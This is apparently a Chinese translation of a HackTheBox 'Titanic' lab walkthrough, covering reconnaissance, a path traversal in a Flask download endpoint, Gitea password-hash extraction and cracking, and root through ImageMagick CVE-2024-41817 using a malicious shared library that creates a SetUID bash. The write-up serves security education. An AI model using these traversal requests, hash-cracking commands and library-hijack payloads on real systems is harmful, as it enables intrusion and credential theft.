HTB: Titanic
靶机信息
项目 |
详情 |
名称 |
Titanic |
发布日期 |
2025年2月15日 |
退役日期 |
2025年6月21日 |
操作系统 |
Linux |
基础分值 |
简单 [20] |
创建者 |
ruycr4ft |
侦察
Nmap扫描
Nmap发现两个开放TCP端口:SSH (22) 和 HTTP (80):
1
2
3
4
5
6
7
8
9
10
11
|
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.55
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.55
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
根据OpenSSH和Apache版本,目标可能运行Ubuntu 22.04 jammy。
子域名模糊测试
Nmap显示端口80重定向到titanic.htb。使用ffuf进行子域名枚举:
1
2
|
oxdf@hacky$ ffuf -u http://10.10.11.55 -H "Host: FUZZ.titanic.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 101ms]
|
将发现的主机名添加到/etc/hosts:
1
|
10.10.11.55 titanic.htb dev.titanic.htb
|
titanic.htb - TCP 80
网站分析
网站为游轮公司页面,所有链接无效,但"Book"按钮弹出表单:
提交表单后返回JSON文件下载,文件名格式为[GUID].json。
技术栈
HTTP头显示运行Werkzeug Python:
1
|
Server: Werkzeug/3.0.3 Python/3.10.12
|
确认为Flask应用,404页面为默认Flask样式。
目录暴力枚举
使用feroxbuster未发现有趣内容:
1
2
3
4
|
oxdf@hacky$ feroxbuster -u http://titanic.htb
...
405 GET 5l 20w 153c http://titanic.htb/book
...
|
/book端点仅接受POST请求。
dev.titanic.htb - TCP 80
Gitea实例
该子域名托管Gitea实例,包含两个公共仓库:
docker-config仓库
包含docker-compose文件,显示Gitea数据路径:
1
2
|
volumes:
- /home/developer/gitea/data:/data
|
MySQL配置包含密码:
1
2
|
environment:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
|
flask-app仓库
包含titanic.htb源码,关键文件app.py显示路由:
/
返回静态页面
/book
处理POST请求,保存数据到随机UUID文件
/download
使用os.path.join组合路径,存在目录遍历漏洞
获取developer shell
文件读取漏洞
漏洞利用
/download端点存在目录遍历,利用os.path.join特性:
1
|
os.path.join("tickets", "/etc/passwd") # 返回 '/etc/passwd'
|
用户标志
直接读取用户标志:
1
|
GET /download?ticket=/home/developer/user.txt
|
定位Gitea数据库
根据docker-compose信息,读取Gitea配置文件:
1
|
GET /download?ticket=/home/developer/gitea/data/gitea/conf/app.ini
|
发现数据库路径:/data/gitea/gitea.db
获取哈希
下载数据库文件:
1
|
oxdf@hacky$ curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db
|
提取用户哈希:
1
|
sqlite> select passwd,salt,name from user;
|
转换哈希格式:
1
|
oxdf@hacky$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done
|
破解哈希
使用hashcat破解:
1
|
oxdf@corum$ hashcat gitea.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user
|
破解得到developer密码:25282528
SSH访问
使用破解的密码连接SSH:
1
|
oxdf@hacky$ sshpass -p '25282528' ssh developer@titanic.htb
|
获取root权限
枚举
进程检查
进程仅对当前用户和root可见:
1
|
developer@titanic:~$ ps auxww
|
由于/proc使用hidepid=invisible挂载。
文件系统
发现/opt/scripts/identify_images.sh:
1
2
3
|
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
|
脚本每分钟以root权限运行。
CVE-2024-41817利用
漏洞识别
ImageMagick版本7.1.1-35存在CVE-2024-41817,当前工作目录包含在共享库搜索路径中。
PoC
创建恶意共享库:
1
2
3
4
5
6
7
8
9
10
|
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("id");
exit(0);
}
EOF
|
获取shell
创建SetUID bash:
1
2
3
4
5
6
7
8
9
10
|
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf");
exit(0);
}
EOF
|
等待cron执行后获取root shell:
1
2
|
developer@titanic:/opt/app/static/assets/images$ /tmp/0xdf -p
0xdf-5.1# cat /root/root.txt
|
总结
通过子域名枚举发现Gitea实例,分析源码发现目录遍历漏洞,读取Gitea数据库破解哈希获取SSH访问,最后利用ImageMagick CVE-2024-41817实现权限提升。